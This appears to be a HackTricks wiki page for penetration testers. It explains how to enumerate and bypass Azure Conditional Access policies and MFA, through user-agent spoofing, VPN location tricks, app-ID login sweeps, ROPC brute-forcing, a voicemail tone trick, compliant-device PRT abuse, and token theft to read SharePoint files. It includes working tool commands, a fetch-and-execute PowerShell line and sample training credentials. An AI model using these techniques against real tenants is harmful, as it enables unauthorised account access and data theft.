# Az - Conditional Access Policies & MFA Bypass

{{#include ../../../../banners/hacktricks-training.md}}

## Basic Information

Azure Conditional Access policies are rules set up in Microsoft Azure to enforce access controls to Azure services and applications based on certain **conditions**. These policies help organizations secure their resources by applying the right access controls under the right circumstances.\
Conditional access policies basically **defines** **Who** can access **What** from **Where** and **How**.

Here are a couple of examples:

1. **Sign-In Risk Policy**: This policy could be set to require multi-factor authentication (MFA) when a sign-in risk is detected. For example, if a user's login behavior is unusual compared to their regular pattern, such as logging in from a different country, the system can prompt for additional authentication.
2. **Device Compliance Policy**: This policy can restrict access to Azure services only to devices that are compliant with the organization's security standards. For instance, access could be allowed only from devices that have up-to-date antivirus software or are running a certain operating system version.

## Enumeration

```bash
# Get all the policies from Azure without needing any special permission with (idea from https://github.com/LuemmelSec/APEX/blob/main/APEX.ps1)
az rest --method GET --uri 'https://graph.windows.net/<tenant-id>/policies?api-version=1.61-internal' | jq '.value[] | select(.policyType == 18) | {displayName, policyDetail: (.policyDetail[] | fromjson)}'

# You need Policy.Read.ConditionalAccess or Policy.Read.All permission in Entra ID
az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditionalAccess/policies"
```

## Conditional Acces Policies Bypasses

It's possible that a conditional access policy is **checking some information that can be easily tampered allowing a bypass of the policy**. And if for example the policy was configuring MFA, the attacker will be able to bypass it.

When configuring a conditional access policy it's needed to indicate the **users** affected and **target resources** (like all cloud apps).

It's also needed to configure the **conditions** that will **trigger** the policy:

- **Network**: Ip, IP ranges and geographical locations
  - Can be bypassed using a VPN or Proxy to connect to a country or managing to login from an allowed IP address
- **Microsoft risks**: User risk, Sign-in risk, Insider risk
- **Device platforms**: Any device or select Android, iOS, Windows phone, Windows, macOS, Linux
  - If “Any device” is not selected but all the other options are selected it’s possible to bypass it using a random user-agent not related to those platforms
- **Client apps**: Option are “Browser”, “Mobiles apps and desktop clients”, “Exchange ActiveSync clients” and Other clients”
  - To bypass login with a not selected option
- **Filter for devices**: It’s possible to generate a rule related the used device
- A**uthentication flows**: Options are “Device code flow” and “Authentication transfer”
  - This won’t affect an attacker unless he is trying to abuse any of those protocols in a phishing attempt to access the victims account

The possible **results** are: Block or Grant access with potential conditions like require MFA, device to be compliant…

### Device Platforms - Device Condition

It's possible to set a condition based on the **device platform** (Android, iOS, Windows, macOS...), however, this is based on the **user-agent** so it's easy to bypass. Even **making all the options enforce MFA**, if you use a **user-agent that it isn't recognized,** you will be able to bypass the MFA or block:

<figure><img src="../../../../images/image (352).png" alt=""><figcaption></figcaption></figure>

Just making the browser **send an unknown user-agent** (like `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) is enough to not trigger this condition.\
You can change the user agent **manually** in the developer tools:

<figure><img src="../../../../images/image (351).png" alt="" width="375"><figcaption></figcaption></figure>

Or use a [browser extension like this one](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en).

### Locations: Countries, IP ranges - Device Condition

If this is set in the conditional policy, an attacker could just use a **VPN** in the **allowed country** or try to find a way to access from an **allowed IP address** to bypass these conditions.

### Cloud Apps

It's possible to configure **conditional access policies to block or force** for example MFA when a user tries to access **specific app**:

<figure><img src="../../../../images/image (353).png" alt=""><figcaption></figcaption></figure>

To try to bypass this protection you should see if you can **only into any application**.\
The tool [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) has **tens of application IDs hardcoded** and will try to login into them and let you know and even give you the token if successful.

In order to **test specific application IDs in specific resources** you could also use a tool such as:

```bash
roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout

<token>
```

Moreover, it's also possible to protect the login method (e.g. if you are trying to login from the browser or from a desktop application). The tool [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) perform some checks to try to bypass this protections also.

The tool [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) could also be used to similar purposes although it looks unmantained.

The tool [**ROPCI**](https://github.com/wunderwuzzi23/ropci) can also be used to test this protections and see if it's possible to bypass MFAs or blocks, but this tool works from a **whitebox** perspective. You first need to download the list of Apps allowed in the tenant and then it will try to login into them.

## Other Az MFA Bypasses

### Ring tone

One Azure MFA option is to **receive a call in the configured phone number** where it will be asked the user to **send the char `#`**.

> [!CAUTION]
> As chars are just **tones**, an attacker could **compromise** the **voicemail** message of the phone number, configure as the message the **tone of `#`** and then, when requesting the MFA make sure that the **victims phone is busy** (calling it) so the Azure call gets redirected to the voice mail.

### Compliant Devices

Policies often asks for a compliant device or MFA, so an **attacker could register a compliant device**, get a **PRT** token and **bypass this way the MFA**.

Start by registering a **compliant device in Intune**, then **get the PRT** with:

```bash
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials

$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce

Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken

<token returned>
```

Find more information about this kind of attack in the following page:

{{#ref}}
../../az-lateral-movement-cloud-on-prem/pass-the-prt.md
{{#endref}}

## Tooling

### [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep)

This script get some user credentials and check if it can login in some applications.

This is useful to see if you **aren't required MFA to login in some applications** that you might later abuse to **escalate pvivileges**.

### [roadrecon](https://github.com/dirkjanm/ROADtools)

Get all the policies

```bash
roadrecon plugin policies
```

### [Invoke-MFASweep](https://github.com/dafthack/MFASweep)

MFASweep is a PowerShell script that attempts to **log in to various Microsoft services using a provided set of credentials and will attempt to identify if MFA is enabled**. Depending on how conditional access policies and other multi-factor authentication settings are configured some protocols may end up being left single factor. It also has an additional check for ADFS configurations and can attempt to log in to the on-prem ADFS server if detected.

```bash
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username <username> -Password <pass>
```

### [ROPCI](https://github.com/wunderwuzzi23/ropci)

This tool has helped identify MFA bypasses and then abuse APIs in multiple production AAD tenants, where AAD customers believed they had MFA enforced, but ROPC based authentication succeeded.

> [!TIP]
> You need to have permissions to list all the applications to be able to generate the list of the apps to brute-force.

```bash
./ropci configure
./ropci apps list --all --format json -o apps.json
./ropci apps list --all --format json | jq -r '.value[] | [.displayName,.appId] | @csv' > apps.csv
./ropci auth bulk -i apps.csv -o results.json
```

### [donkeytoken](https://github.com/silverhack/donkeytoken)

Donkey token is a set of functions which aim to help security consultants who need to validate Conditional Access Policies, tests for 2FA-enabled Microsoft portals, etc..

<pre class="language-powershell"><code class="lang-powershell"><strong>git clone https://github.com/silverhack/donkeytoken.git
</strong><strong>Import-Module '.\donkeytoken' -Force
</strong></code></pre>

**Test each portal** if it's possible to **login without MFA**:

```bash
$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
```

Because the **Azure** **portal** is **not constrained** it's possible to **gather a token from the portal endpoint to access any service detected** by the previous execution. In this case Sharepoint was identified, and a token to access it is requested:

```bash
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token
```

Supposing the token has the permission Sites.Read.All (from Sharepoint), even if you cannot access Sharepoint from the web because of MFA, it's possible to use the token to access the files with the generated token:

```bash
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
```

## References

- [https://www.youtube.com/watch?v=yOJ6yB9anZM\&t=296s](https://www.youtube.com/watch?v=yOJ6yB9anZM&t=296s)
- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)

{{#include ../../../../banners/hacktricks-training.md}}



